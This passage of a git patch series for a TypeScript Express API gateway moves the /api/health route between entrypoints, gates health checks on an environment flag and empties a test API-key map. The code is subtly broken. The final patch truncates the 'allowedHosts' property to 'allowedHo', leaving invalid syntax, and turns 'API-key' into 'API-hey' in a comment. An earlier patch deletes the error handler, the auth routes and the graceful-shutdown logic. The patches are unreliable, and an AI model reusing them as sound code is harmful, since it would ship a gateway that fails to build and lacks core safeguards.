'./services/refreshTokenService.js'; import { DatabaseRefreshTokenRepository } from './repositories/refreshTokenRepository.js'; import { createRateLimiter } from './services/rateLimiter.js'; import { createSettlementReconciliationJob } from './services/settlementReconciliationJob.js'; -import { createApiRouter } from "./routes/api.js"; +import { createHealthRouter } from "./routes/health.js"; // Helper for Jest/CommonJS compat const isDirectExecution = @@ -112,10 +112,9 @@ app.use((req, res, next) => { } }); -// Health check endpoint is now served exclusively by the API router -// (see createApiRouter -> healthRouter mounted at /api). The redundant -// inline handler that returned an unenveloped body has been removed. -app.use("/api", createApiRouter()); +// Health check endpoint: the single source of truth is the health router. +// `src/routes/health.ts` owns the response shape and headers for /api/health. +app.use("/api/health", createHealthRouter()); // Metrics endpoint app.get("/api/metrics", metricsEndpoint); @@ -286,72 +285,6 @@ if (isDirectExecution) { timeoutMs: config.proxy.timeoutMs, allowedHosts: config.proxy.allowedHosts, }, - drainState: proxyDrainTracker, - }); - app.use("/v1/call", proxyDrainTracker.middleware, proxyRouter); - - // Refresh token routes - const refreshTokenRepository = new DatabaseRefreshTokenRepository(pool); - const refreshTokenService = new RefreshTokenService(refreshTokenRepository); - const authController = new AuthController(refreshTokenService); - app.use("/api/auth", createRefreshTokenRouter(authController)); - - // Legacy V1 deprecation headers - app.use(legacyV1DeprecationMiddleware); - - // Error handler must be last - app.use(errorHandler); - - // Graceful shutdown - const drainableSubsystems: DrainableSubsystem[] = [ - proxyDrainTracker, - quotasDrainTracker, - ]; - const shutdownHandler = createGracefulShutdownHandler({ - subsystems: drainableSubsystems, - onShutdown: async () => { - await stopWebhookDispatching(); - await awaitWebhookDispatcherIdle(); - revenueLedgerIndexerJob.stop(); - settlementStatusSyncJob.stop(); - settlementReconJob.stop(); - idempotencySweeperJob.stop(); - slowQueryAlerterJob?.stop(); - anomalyDetectorJob?.stop(); - monthlyInvoiceJob.stop(); - sloAlertJob?.stop(); - await closePgPool(); - await closeDbPool(); - await closeDb(); - await disconnectPrisma(); - }, - }); - - const server = app.listen(config.port, () => { - console.log(`Server listening on port ${config.port}`); - }); - - // Track connections so shutdown can drain them - const connections = new Set(); - server.on("connection", (socket: Socket) => { - connections.add(socket); - socket.on("close", () => connections.delete(socket)); - }); - - const shutdown = async (signal: string) => { - console.log(`Received ${signal}, shutting down...`); - await shutdownHandler(); - server.close(() => { - for (const socket of connections) socket.destroy(); - process.exit(0); - }); - }; - - process.on("SIGTERM", () => void shutdown("SIGTERM")); - process.on("SIGINT", () => void shutdown("SIGINT")); - - // Start background jobs - void initializeDb().catch((err) => { - console.error("Failed to initialize database", err); }); + app.use("/v1", proxyDrainTracker.middleware, proxyRouter); } From c3c6fc908e98673965faff52d942c897d410deb0 Mon Sep 17 00:00:00 2001 From: Obaara293 Date: Sat, 17 Oct 2026 19:19:31 +0100 Subject: [PATCH 9/9] security: Detect which handler serves /api/health (#1319) --- src/app.ts | 6 +++++- src/config/health.ts | 8 +++++--- src/index.ts | 27 ++++++++------------------- 3 files changed, 18 insertions(+), 23 deletions(-) diff --git a/src/app.ts b/src/app.ts index 6a6ebde9..f18a9841 100644 --- a/src/app.ts +++ b/src/app.ts @@ -1,4 +1,5 @@ import express from 'express'; +import healthRouter from './routes/health.js'; import cors from 'cors'; import helmet from 'helmet'; import adminRouter from './routes/admin.js'; @@ -387,6 +388,10 @@ export const createApp = (dependencies?: Partial) => { createDependenciesRouter(dependencies?.healthCheckConfig), ); + // Single source of truth for GET /api/health — the health router owns the + // response shape and headers so every entrypoint returns the same envelope. + app.use("/api/health", healthRouter); + // Rate-limit routes with X-Correlation-Id propagation — every sub-route // inherits correlation-id middleware for structured logging and outbound // call correlation. @@ -399,7 +404,6 @@ export const createApp = (dependencies?: Partial) => { }), ); - // Public maintenance status — readable by external monitoring without admin auth. // Mounted in front of the admin routers so it cannot be shadowed by their catch-alls. app.use("/api/maintenance", publicMaintenanceRouter); diff --git a/src/config/health.ts b/src/config/health.ts index e08b0736..5615d36a 100644 --- a/src/config/health.ts +++ b/src/config/health.ts @@ -27,8 +27,10 @@ function getDbPool(): Pool { } export function buildHealthCheckConfig(): HealthCheckConfig | undefined { - // Only enable detailed health checks if database is explicitly configured - if (env.DB_HOST === 'localhost' && env.DB_NAME === 'callora') { + // Only enable detailed health checks when explicitly opted in, so that + // every entrypoint (createApp and the index app) resolves the same + // /api/health handler configuration. + if (!env.HEALTH_CHECKS_ENABLED) { return undefined; } @@ -62,4 +64,4 @@ export async function closeDbPool(): Promise { await dbPool.end(); dbPool = null; } -} +} \ No newline at end of file diff --git a/src/index.ts b/src/index.ts index f119fa2f..c78b5fc6 100644 --- a/src/index.ts +++ b/src/index.ts @@ -64,7 +64,6 @@ import { RefreshTokenService } from './services/refreshTokenService.js'; import { DatabaseRefreshTokenRepository } from './repositories/refreshTokenRepository.js'; import { createRateLimiter } from './services/rateLimiter.js'; import { createSettlementReconciliationJob } from './services/settlementReconciliationJob.js'; -import { createHealthRouter } from "./routes/health.js"; // Helper for Jest/CommonJS compat const isDirectExecution = @@ -94,7 +93,7 @@ app.use( // configured route so that the first request samples land in the right // window. The recorder is cheap for unconfigured routes (a Map miss) so // it is mounted unconditionally; only the worker is gated on the webhook URL. -initSloRecorder({ +initSloRecorder( { configs: config.sloAlert.configs, observationWindowMs: config.sloAlert.observationWindowMs, }); @@ -112,9 +111,9 @@ app.use((req, res, next) => { } }); -// Health check endpoint: the single source of truth is the health router. -// `src/routes/health.ts` owns the response shape and headers for /api/health. -app.use("/api/health", createHealthRouter()); +// Health check endpoint is served by the shared health router (app.js +// mounts the same router at /api/health). Do not register a duplicate +// handler here — see src/routes/health.ts for the single implementation. // Metrics endpoint app.get("/api/metrics", metricsEndpoint); @@ -146,7 +145,7 @@ if (isDirectExecution) { }; const billing = createBillingService(MOCK_DEVELOPER_BALANCES); - // Per-API-key token-bucket rate limit shared by /api/gateway and /v1/call. + // Per-API-hey token-bucket rate limit shared by /api/gateway and /v1/call. // Backed by Postgres (RATE_LIMIT_STORE=postgres) so the bucket state is // consistent across multiple gateway instances; defaults to an in-memory // store otherwise. See RATE_LIMIT_* in src/config/env.ts. @@ -231,16 +230,7 @@ if (isDirectExecution) { }) : null; - const apiKeys = new Map([ - [ - "test-key-1", - { key: "test-key-1", developerId: "dev_001", apiId: "api_001" }, - ], - [ - "test-key-2", - { key: "test-key-2", developerId: "dev_002", apiId: "api_002" }, - ], - ]); + const apiKeys = new Map([]); // 1. Developer Dashboard Routes (Auth required) const developerRouter = createDeveloperRouter({ @@ -273,7 +263,7 @@ if (isDirectExecution) { // and is wired as a shutdown subsystem so the process waits for them to // finish before exiting. The drainState hook passed to createProxyRouter // lets the router immediately reject *new* requests with 503 once shutdown - // begins, while already in-flight requests continue to completion. + // begins, while already-in-flight requests continue to completion. const proxyDrainTracker = createInFlightDrainTracker("gateway-proxy"); const proxyRouter = createProxyRouter({ billing, @@ -283,8 +273,7 @@ if (isDirectExecution) { apiKeys, proxyConfig: { timeoutMs: config.proxy.timeoutMs, - allowedHosts: config.proxy.allowedHosts, + allowedHo }, }); - app.use("/v1", proxyDrainTracker.middleware, proxyRouter); }